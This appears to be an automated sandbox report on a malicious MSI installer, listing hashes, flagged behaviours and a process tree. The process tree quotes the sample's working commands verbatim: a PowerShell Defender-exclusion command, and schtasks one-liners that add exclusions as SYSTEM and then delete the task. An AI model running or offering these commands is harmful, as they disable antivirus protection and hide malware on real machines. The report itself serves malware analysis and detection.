Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/07/2026, 12:26
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
intll.0.88020.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
29 signatures
150 seconds
Behavioral task
behavioral2
Sample
intll.0.88020.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target intll.0.88020.msi
- Size 7.8MB
- Sample260724-pl9lvazerf
- SHA256 960c7eeb349bfc497ef24a254fc7afdd672bf8aab698409512b16c3c62b15e4a
- MD5 9964336c4c07105cf0a49d41b44b6fbe
- SHA1 0a21df0c9cb420d304c238612746c4c2f48d3ebe
- SHA512 22a2f2e060738c14794ca1b53026527a5488dc176746ecba90673735017b27841e49ec3b59764997464472ca312bea9f58553ac38f6990d96e4ace4605ab6cda
- SSDEEP 196608:l1x0mI1VyNra3fapU7jIFIsGCDSirx7XcLsYhKq:l1xphs3fapUjIFIs5+irxTuVhB
- TLSH T1658633CD7EC97BB0D1C7C374E2427A2C7D197F84B6368D0A369478415E32B2A1336A5A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\blbdaS = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3340 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3824 8ZMfcp.exe - Loads dropped DLL 2 IoCs
pid Process 2564 MsiExec.exe 3824 8ZMfcp.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\blbdaS\\8ZMfcp.exe\"" 8ZMfcp.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 2564 MsiExec.exe 13 2564 MsiExec.exe 14 2564 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5404 cmd.exe 3184 cmd.exe 956 cmd.exe 2368 cmd.exe 4292 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 8ZMfcp.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e59b8d8.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF361B99DFFE1CC0CA.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIC153.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF92EC3C62C21BB4B6.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF40F30B3047081534.TMP msiexec.exe File created C:\Windows\Installer\e59b8d6.msi msiexec.exe File opened for modification C:\Windows\Installer\e59b8d6.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{2FB57C8C-8FBB-AB0E-1855-DF8D061B1351} msiexec.exe File created C:\Windows\SystemTemp\~DFA08F7A9EB0687B92.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIBFDB.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 440 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2448 cmd.exe 2400 cmd.exe 5832 cmd.exe 4480 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\PackageName = "intll.0.88020.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C8C75BF2BBF8E0BA8155FDD860B13115\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2BF55CE35ACA27F4AD78CC0CAFD9E139 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\ProductName = "Feitunan Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2BF55CE35ACA27F4AD78CC0CAFD9E139\C8C75BF2BBF8E0BA8155FDD860B13115 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C8C75BF2BBF8E0BA8155FDD860B13115 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\PackageCode = "ED96165F74EA0F040A050CE83350FC20" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8C75BF2BBF8E0BA8155FDD860B13115\AuthorizedLUAApp = "0" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2416 schtasks.exe 4632 schtasks.exe 4076 schtasks.exe 1372 schtasks.exe 4508 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1100 msiexec.exe 1100 msiexec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 2564 MsiExec.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe 3824 8ZMfcp.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 440 msiexec.exe Token: SeIncreaseQuotaPrivilege 440 msiexec.exe Token: SeSecurityPrivilege 1100 msiexec.exe Token: SeCreateTokenPrivilege 440 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 440 msiexec.exe Token: SeLockMemoryPrivilege 440 msiexec.exe Token: SeIncreaseQuotaPrivilege 440 msiexec.exe Token: SeMachineAccountPrivilege 440 msiexec.exe Token: SeTcbPrivilege 440 msiexec.exe Token: SeSecurityPrivilege 440 msiexec.exe Token: SeTakeOwnershipPrivilege 440 msiexec.exe Token: SeLoadDriverPrivilege 440 msiexec.exe Token: SeSystemProfilePrivilege 440 msiexec.exe Token: SeSystemtimePrivilege 440 msiexec.exe Token: SeProfSingleProcessPrivilege 440 msiexec.exe Token: SeIncBasePriorityPrivilege 440 msiexec.exe Token: SeCreatePagefilePrivilege 440 msiexec.exe Token: SeCreatePermanentPrivilege 440 msiexec.exe Token: SeBackupPrivilege 440 msiexec.exe Token: SeRestorePrivilege 440 msiexec.exe Token: SeShutdownPrivilege 440 msiexec.exe Token: SeDebugPrivilege 440 msiexec.exe Token: SeAuditPrivilege 440 msiexec.exe Token: SeSystemEnvironmentPrivilege 440 msiexec.exe Token: SeChangeNotifyPrivilege 440 msiexec.exe Token: SeRemoteShutdownPrivilege 440 msiexec.exe Token: SeUndockPrivilege 440 msiexec.exe Token: SeSyncAgentPrivilege 440 msiexec.exe Token: SeEnableDelegationPrivilege 440 msiexec.exe Token: SeManageVolumePrivilege 440 msiexec.exe Token: SeImpersonatePrivilege 440 msiexec.exe Token: SeCreateGlobalPrivilege 440 msiexec.exe Token: SeBackupPrivilege 1360 vssvc.exe Token: SeRestorePrivilege 1360 vssvc.exe Token: SeAuditPrivilege 1360 vssvc.exe Token: SeBackupPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeBackupPrivilege 580 srtasks.exe Token: SeRestorePrivilege 580 srtasks.exe Token: SeSecurityPrivilege 580 srtasks.exe Token: SeTakeOwnershipPrivilege 580 srtasks.exe Token: SeBackupPrivilege 580 srtasks.exe Token: SeRestorePrivilege 580 srtasks.exe Token: SeSecurityPrivilege 580 srtasks.exe Token: SeTakeOwnershipPrivilege 580 srtasks.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe Token: SeTakeOwnershipPrivilege 1100 msiexec.exe Token: SeRestorePrivilege 1100 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 440 msiexec.exe 440 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 440 msiexec.exe 1100 msiexec.exe 2564 MsiExec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 1100 wrote to memory of 580 1100 msiexec.exe 95 PID 1100 wrote to memory of 2564 1100 msiexec.exe 97 PID 3824 wrote to memory of 3340 3824 8ZMfcp.exe 101 PID 3824 wrote to memory of 956 3824 8ZMfcp.exe 103 PID 956 wrote to memory of 4076 956 cmd.exe 105 PID 956 wrote to memory of 3556 956 cmd.exe 106 PID 3824 wrote to memory of 2368 3824 8ZMfcp.exe 108 PID 956 wrote to memory of 5636 956 cmd.exe 110 PID 2368 wrote to memory of 1372 2368 cmd.exe 111 PID 2368 wrote to memory of 4824 2368 cmd.exe 113 PID 2368 wrote to memory of 5280 2368 cmd.exe 115 PID 3824 wrote to memory of 4292 3824 8ZMfcp.exe 117 PID 4292 wrote to memory of 4508 4292 cmd.exe 119 PID 4292 wrote to memory of 1444 4292 cmd.exe 120 PID 4292 wrote to memory of 5128 4292 cmd.exe 122 PID 3824 wrote to memory of 5404 3824 8ZMfcp.exe 124 PID 5404 wrote to memory of 2416 5404 cmd.exe 126 PID 5404 wrote to memory of 5208 5404 cmd.exe 127 PID 5404 wrote to memory of 3676 5404 cmd.exe 129 PID 3824 wrote to memory of 3184 3824 8ZMfcp.exe 131 PID 3184 wrote to memory of 4632 3184 cmd.exe 133 PID 3184 wrote to memory of 4148 3184 cmd.exe 134 PID 3184 wrote to memory of 1420 3184 cmd.exe 136 PID 2400 wrote to memory of 580 2400 cmd.exe 137 PID 4480 wrote to memory of 1316 4480 cmd.exe 138 PID 5832 wrote to memory of 5276 5832 cmd.exe 140 PID 2448 wrote to memory of 3764 2448 cmd.exe 142 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\intll.0.88020.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:440
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:580
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding EECD4D9BE7CEB7999F2E1C3A5A97F9BA E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2564
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1360
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C:\Users\Public\blbdaS\8ZMfcp.exe"C:\Users\Public\blbdaS\8ZMfcp.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\blbdaS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\blbdaS\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4076
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3556
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1372
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4824
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4508
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1444
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5404 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2416
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5208
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3184 -
